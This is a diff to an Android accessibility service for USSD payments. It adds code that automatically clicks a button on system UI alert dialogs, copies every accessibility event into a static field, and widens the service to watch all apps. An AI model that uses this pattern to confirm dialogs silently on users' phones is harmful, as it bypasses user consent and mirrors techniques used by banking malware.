 import android.view.accessibility.AccessibilityNodeInfo;
-import android.widget.Toast;
 
 import com.elvishew.xlog.XLog;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class USSDServicePay extends AccessibilityService {
 
+    public static AccessibilityEvent event;
 
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
@@ -35,8 +30,62 @@ public class USSDServicePay extends AccessibilityService {
         XLog.i(String.format("*USSDServicePay onAccessibilityEvent: [type] %s [class] %s [package] %s [time] %s [text] %s",
                 event.getEventType(), event.getClassName(), event.getPackageName(),
                 event.getEventTime(), event.getText()));
+
+        if ("com.android.systemui".contentEquals(event.getPackageName()) && isScreenWidget(event)) {
+            try {
+                clickOnButton(event, 1);
+            } catch (Exception e) {
+            }
+        }
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
+            USSDServicePay.event = new AccessibilityEvent(event);
+        } else {
+            Parcel parcel = Parcel.obtain();
+            event.writeToParcel(parcel, 0);
+            parcel.setDataPosition(0);
+            AccessibilityEvent newEvent = AccessibilityEvent.CREATOR.createFromParcel(parcel);
+            parcel.recycle();
+            USSDServicePay.event = newEvent;
+        }
+
+    }
+
+    private boolean isScreenWidget(AccessibilityEvent event) {
+        return (event.getClassName().equals("android.app.AlertDialog")
+                || event.getClassName().equals("com.android.systemui.statusbar.phone.AlertDialogWithDelegate"));
+    }
+
+    protected static void clickOnButton(AccessibilityEvent event, int index) {
+        int count = -1;
+        for (AccessibilityNodeInfo leaf : getLeaves(event)) {
+            if (leaf.getClassName().toString().toLowerCase().contains("button")) {
+                count++;
+                if (count == index) {
+                    leaf.performAction(AccessibilityNodeInfo.ACTION_CLICK);
+                }
+            }
+        }
     }
 
+    private static List<AccessibilityNodeInfo> getLeaves(AccessibilityEvent event) {
+        List<AccessibilityNodeInfo> leaves = new ArrayList<>();
+        if (event.getSource() != null) {
+            getLeaves(leaves, event.getSource());
+        }
+
+        return leaves;
+    }
+
+    private static void getLeaves(List<AccessibilityNodeInfo> leaves, AccessibilityNodeInfo node) {
+        if (node.getChildCount() == 0) {
+            leaves.add(node);
+            return;
+        }
+
+        for (int i = 0; i < node.getChildCount(); i++) {
+            getLeaves(leaves, node.getChild(i));
+        }
+    }
 
     @Override
     public void onInterrupt() {
@@ -46,11 +95,9 @@ public class USSDServicePay extends AccessibilityService {
     @Override
     protected void onServiceConnected() {
         super.onServiceConnected();
+        Log.d("hzshkj", "[USSDServicePay] onServiceConnected: "+this);
         PayController.setMyAccessibilityService(this);
     }
 
 
-
-
-
 }

+ 1 - 1
frpc_android-master/ussd-library/src/main/res/xml/ussd_service2.xml

@@ -11,4 +11,4 @@
     android:canRetrieveWindowContent="true"
     android:description="@string/accessibility_service_description2"
     android:notificationTimeout="0"
-    android:packageNames="*" />
+     />